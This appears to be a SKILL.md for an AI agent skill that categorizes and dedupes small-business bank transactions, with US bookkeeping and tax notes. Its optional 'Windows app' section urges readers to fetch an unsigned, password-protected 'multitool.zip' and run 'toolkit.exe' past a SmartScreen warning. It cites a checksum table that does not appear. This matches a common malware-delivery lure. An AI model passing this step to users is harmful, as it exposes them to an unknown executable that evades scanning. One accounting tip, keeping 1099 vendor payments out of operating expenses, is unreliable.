Expense Categorizer

Normalizes vendor strings, removes duplicate transactions and assigns US expense categories so a small business ledger closes without guesswork. Written for US bookkeepers, owners and office managers cleaning a QuickBooks or spreadsheet ledger.

Use this skill when someone asks for:

• expense categorizer
• categorize bank transactions
• bookkeeping cleanup transactions
• chart of accounts mapping

The job

Bank feeds arrive with vendor strings nobody recognizes, so the same twelve vendors get renamed by hand every month and a duplicate payment slips through.

What you get

1. Normalize the vendor string: strip card suffixes, store numbers and terminal codes.
2. Collapse exact duplicate rows that share a date, a normalized vendor and an amount.
3. Map each remaining row to a category from the user's own chart of accounts.
4. Send the rows that cannot be placed to a review queue with the amount and the reason.

Output contract:

• categorized_ledger - each row with the normalized vendor and the assigned category
• duplicates - suspected duplicate pairs with the amount at risk
• review_queue - rows with no confident category, with the amount
• category_summary - spend by category for the period in USD
• vendor_map - the normalized name for each raw vendor string

US specifics that matter

• The chart of accounts is the backbone of US bookkeeping, and keeping software, equipment and supplies in separate accounts is what makes period comparisons meaningful.
• An employer paying a non-employee $600 or more for services in a year has to collect a Form W-9 and check the name and Taxpayer Identification Number before the payment.
• Meals provided to customers or staff are generally only 50% deductible federally, so the category has to carry that flag.
• Mileage and travel are deductible business expenses for an employee or a self-employed owner, and the federal mileage rate is set by the IRS each year, so confirm the current rate.

Guardrails (hard rules)

• Never invent a category for a transaction you cannot place; send it to the review queue.
• Never delete or edit a transaction in the ledger; only flag it.
• Never mix personal spending or personal card details into a business expense report.
• Never mark a payment as a business expense without the user's confirmation.

Quickstart

1. Fill in the brief

templates/expense-rules.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/dedupe_transactions.py --input expense-rules.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/expense-categorization.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Normalization rules

• Trim processor suffixes such as the card ending digits and the terminal ID.
• Map every raw vendor string to one clean name before matching rules.
• Keep the original descriptor in a separate column for the audit trail.
• Match duplicates on date, normalized vendor and amount together.
• Watch for the same vendor spelled two ways after a merger or a rebrand.

Category hygiene

• Keep the chart of accounts small enough that people actually use it.
• Split a category only when you report on it.
• Separate recurring software from one-time equipment.
• Keep payments to 1099 vendors out of the operating expense list.
• Track sales tax collected separately from the revenue it was collected on.

Tax caution

• Meals and entertainment carry a federal deduction limit, so flag them.
• Mileage uses the IRS annual rate, not a number someone remembers.
• An owner confirms any deduction position with an accountant before it is claimed.
• A categorizer sorts transactions; it does not decide what is deductible.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/expense-categorization.md - US expense categorization basics
• templates/expense-rules.yaml - the brief to fill in
• scripts/dedupe_transactions.py - the working script

Verify the bundle

python3 scripts/dedupe_transactions.py --input expense-rules.yaml --out ./out

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